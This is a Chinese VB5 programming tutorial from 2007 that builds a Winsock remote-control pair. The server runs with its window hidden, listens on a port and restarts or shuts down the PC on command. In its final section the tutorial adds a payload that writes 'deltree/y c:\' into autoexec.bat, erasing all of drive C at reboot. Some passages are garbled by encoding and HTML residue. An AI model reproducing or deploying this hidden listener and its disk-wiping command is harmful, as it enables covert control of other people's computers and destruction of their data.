在VB5中利用Winsock和msDNS控件進行
發表于:2007-07-14來源:作者:點擊數:
標簽:
作者:網人 一.認識Winsock和msDNS控件 首先我們要認識Winsock控件,Winsock控件是微軟提供的,是win98的內部控件,利用 WinSock 控件可以與遠程計算機建立連接,Winsock包含有用戶數據文報協議 (UDP)和傳輸控制協議 (TCP)??捎眠@兩種協議來建立客戶與 服務
作者:網人
一.認識Winsock和msDNS控件
首先我們要認識Winsock控件,Winsock控件是微軟提供的,是win98的內部控件,利用 WinSock 控件可以與遠程計算機建立連接,Winsock包含有用戶數據文報協議 (UDP)和傳輸控制協議 (TCP)??捎眠@兩種協議來建立客戶與
服務器應用程序來進行數據交換。而msDNS是個人編寫的共享控件,需要的可到(wch_email@163.net)聯系。Winsock是進行數據交換的,msDNS是用來查找對方的IP地址。
二.Winsock的基礎
1.TCP基礎:TCP(Transfer Control Protocol)是傳輸控制協議的簡稱,是基于連接的協議,在數據傳輸之前必須先建立連接。
2.UDP基礎: UDP(User Data Protocol)是用戶數據文報協議的簡稱,兩臺計算機之間的傳輸類似于傳遞郵件;兩者之間沒有明確的連接,可作為服務器,也可作為客戶機。
3.屬性:
BytesReceived:返回接收到的(當前在接收端緩沖區內的)數據的數量。使用GetData方法來獲取數據。
LocalHostName:返回本地機器名。
LocalIP:返回本地機器的IP地址。
LocalPort:返回或者設置所用到的本端口;如果指定的是端口 0,就使用一個隨機端口。
Protocol:返回或設置Winsock所用的協議是TCP或UDP。
RemoteHostIP:返回遠程機器的IP地址。
State:返回控件的狀態,用枚舉類型來表示。
SocketHandle:返回一個與連接字句對應的值。
4.方法:
Listen:用于服務器程序,等待客戶訪問。
格式:Winsock對象.listen
Connect:用于向遠程主機發出連接請求
格式:Winsock對象.connect [遠程主機IP,遠程端口]
A
clearcase/" target="_blank" >ccept:用于接受一個連接請求
格式:Winsock對象.accept Request ID
Senddata: 此方法用于發送數據
格式:Winsock對象.senddata 數據
Getdata: 用來取得接收到的數據
格式:Winsock對象.getdata 變量 [,數據類型 [,最大長度]]
Close: 關閉當前連接
格式:Winsock對象.close
5.事件:
DataArrival:新數據到達時出現;獲取一個 GetData 調用中的全部數據。
ConnectionRequest:當遠程計算機請求連接時接受連接請求。
SendComplete :在完成一個發送操作時出現 。
SendProgress :在發送數據期間出現 。
Error:后臺處理中出現錯誤( 紓??郵О埽?蛘咴諍筇ㄊ輾⑹?菔О埽┦錄?突岢魷幀?
Close :當遠程計算機關閉連接時出現。
三.程序代碼:
通過遠程控制計算機,使遠程計算機重新啟動或關閉,需設置一個服務器程序和一個客戶機程序,服務器受客戶機的控制。
1.服務器程序:
在
VB5的編程環境下,新建一個工程,在Form1中添加一個Winsock控件,Winsock的“名稱"為Winsock1,屬性Protocol設置為0-sckTCPProtocol,Form1的屬性Visible=False,這樣運行該程序就會隱藏起來不可見;其代碼如下:
Option Explicit
"該函數(Exit
WindowsEx)是win98里的API函數,是用來重啟或關閉計算機的
Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Const EWX_LOGOFF = 0
Const EWX_SHU
TDOWN = 1
Const EWX_REBOOT = 2
Const EWX_FORCE = 4
Const EWX_POWEROFF = 8
Const EWX_RESET = EWX_LOGOFF + EWX_FORCE + EWX_REBOOT
Private Sub Form_Load()
On Error GoTo skip "如此端口出現沖突程序則退出
Winsock1.LocalPort = 1334 "端口值應大于1024,如還有沖突可改為其他值
Winsock1.Listen
Exit Sub
skip:
If Err.Number = 10048 Then
MsgBox "端口沖突,退出!",
vbOKOnly, "注意!"
End
End If
End Sub
Private Sub Winsock1_Close()
If Winsock1.State $#@60;$#@62; sckClosed Then Winsock1.Close
Winsock1.Listen "關閉連接后繼續監聽
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
If Winsock1.State $#@60;$#@62; sckClosed Then Winsock1.Close
Winsock1.Accept requestID "請求到達時,接受連接
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dwReserved As Long
Dim strget As String
Dim X As Long
Dim ccom As String
Winsock1.GetData strget "讀取到達的數據
Select Case strget
Case "Reset" "判斷到達的數據是否‘Reset’,是則重啟
X = ExitWindowsEx(EWX_RESET, dwReserved)
Case "Close" "如為‘Close’則關閉計算機
X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved)
Case Else "可以在此加入其他命令
End Select
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "錯誤", vbOKOnly, "注意!" "如程序出現錯誤,則退出
End
End Sub
2.客戶機程序:
新建一個工程,在Form1中加入Winsock控件(misrosoft winsock control 6.0)和msDNS控件(msDNS Activex DNS query control (Freeware)),可到中國VB大本營
下載,也可以和(wch_email@163.net)聯系。把msDNS控件復制到“c:\
windows\system”目錄下。再加入三個Label控件,兩個TextBox控件(控件數組,第一個TextBox的INDEX=0為輸入用戶名框,第二個TextBox的INDEX=1為IP地址框)和五個CommandButton。如下圖
屬性為:
CommandButton 控件類型 控件名稱 屬性 屬性值
Winsock Winsock1 protocol sckTCPProtocol
DNS DNS1 HostIP 127.0.0.1
Label Label1 Caption 用戶名為:
Label Label2 Caption IP地址:
Label state_lab borderstyle 1
CommandButton CmdIpSend Caption 查找
CommandButton CmdClose Caption 遠程關閉
CommandButton CmdReset Caption 遠程重啟
CommandButton CmdConnect Caption 連接
CommandButton CmdExit Caption 退出
代碼如下:
Option Explicit
Private UnusedField As Integer
Private Sub Form_Load()
UnusedField = 1
Winsock1.LocalPort = 0 "本地端口可任選,只要不沖突且小于65535,用0可產生一個隨機的的端口
Winsock1.RemotePort = 1334 "對應服務器端的localport
state_lab = "未建立連接."
End Sub
Private Sub CmdClose_Click()
If Winsock1.State $#@60;$#@62; sckConnected Then
state_lab = "請先建立連接"
Else
Winsock1.SendData "Close" "發出關閉命令
End If
End Sub
Private Sub CmdReset_Click()
If Winsock1.State $#@60;$#@62; sckConnected Then
state_lab = "請先建立連接"
Else
Winsock1.SendData "Reset" "發出重啟命令
End If
End Sub
Private Sub CmdConnect_Click()
On Error GoTo skip
Winsock1.RemoteHost = Text1(1).Text
If Winsock1.State = sckConnected Then
state_lab = "已建立連接了"
Else
Winsock1.Connect
End If
Exit Sub
skip: "用netstat命令看到狀態為Time_wait則
If Err.Number = 10048 Then "須等待一段時間才可連接,也可換另一端口,可加快連接速度
MsgBox "端口正在使用,請稍后再試!", vbOKOnly, "注意!"
End
End If
End Sub
Private Sub CmdExit_Click()
Winsock1.Close "關閉連接且退出
End
End Sub
Private Sub Winsock1_Connect()
state_lab = "建立連接成功!可發送命令."
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "錯誤", vbOKOnly, "注意!"
End
End Sub
"--------////////////-------
’事件Ready是DNS控件的準備事件,是在收到信息后而作出答復
Private Sub DNS1_Ready(ByVal Status As Integer)
Select Case Status
Case dnsReady
Text1(0) = DNS1.HostName
Text1(1) = DNS1.HostIP
Case dnsError
If Text1(0) = "" Then Text1(0) = "(DNS error)" Else Text1(1) = "(error)"
Case dnsNotFound
If Text1(0) = "" Then Text1(0) = "(address not found)" Else Text1(1) = "(not found)"
End Select
Screen.MousePointer = 0
End Sub
’從服務器返回的錯誤信息
Private Sub DNS1_SocketError(ByVal Number As Integer, ByVal Description As String)
MsgBox "A socket error occured:" & vbCrLf & Description, "Sorry!"
Screen.MousePointer = 0
End Sub
’輸入主機名,用來查找其IP地址
Private Sub CmdIpSend_Click()
If Text1(0).Text = "" Then
MsgBox "請輸入查找的主機名", vbOKOnly + vbCritical, "錯誤"
Exit Sub
End If
Text1(UnusedField) = ""
Screen.MousePointer = vbHourglass
If Text1(1) = "" Then
DNS1.HostName = Text1(0)
Else
DNS1.HostIP = Text1(1)
End If
End Sub
’當對象獲得焦點時產生該事件
Private Sub Text1_GotFocus(Index As Integer)
With Text1(Index)
.SelStart = 0
.SelLength = Len(.Text)
End With
End Sub
’此事件當用戶按下和松開一個 ANSI 鍵時發生
Private Sub Text1_KeyPress(Index As Integer, KeyAscii As Integer)
UnusedField = IIf(Index = 0, 1, 0)
End Sub
以上兩個程序已做好了,只有先在服務器端運行服務器端程序,再在客戶端運行客戶端程序,在用戶名框輸入服務器的主機名查找出其IP地址,進行連接就可以控制服務器了,就這么簡單。也可以單機進行控制,就是在一臺計算機上先運行服務器端程序,再運行客戶端程序,輸入本機用戶名查找出其IP地址進行連接就行了。如果要更多的功能,可以在服務器端程序的Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)過程中的Case Else之后加入。例如想要產生一個重啟之后進行格式化硬盤的命令就是在Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)過程中,簡單如下:
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim dwReserved As Long
Dim strget As String
Dim X As Long
Dim ccom As String
Winsock1.GetData strget "讀取到達的數據
Select Case strget
Case "Reset" "判斷到達的數據是否‘Reset’,是則重啟
Open "c:\autoexec.bat" For Output As #1
Print #1, "deltree/y c:\" "在重啟時刪除C盤上的所有文件
Close
X = ExitWindowsEx(EWX_RESET, dwReserved)
Case "Close" "如為‘Close’則關閉計算機
X = ExitWindowsEx(EWX_SHUTDOWN, dwReserved)
Case Else "可以在此加入其他命令
End Select
End Sub
該功能請不要亂用??!否則后果自負。
原文轉自:http://www.anti-gravitydesign.com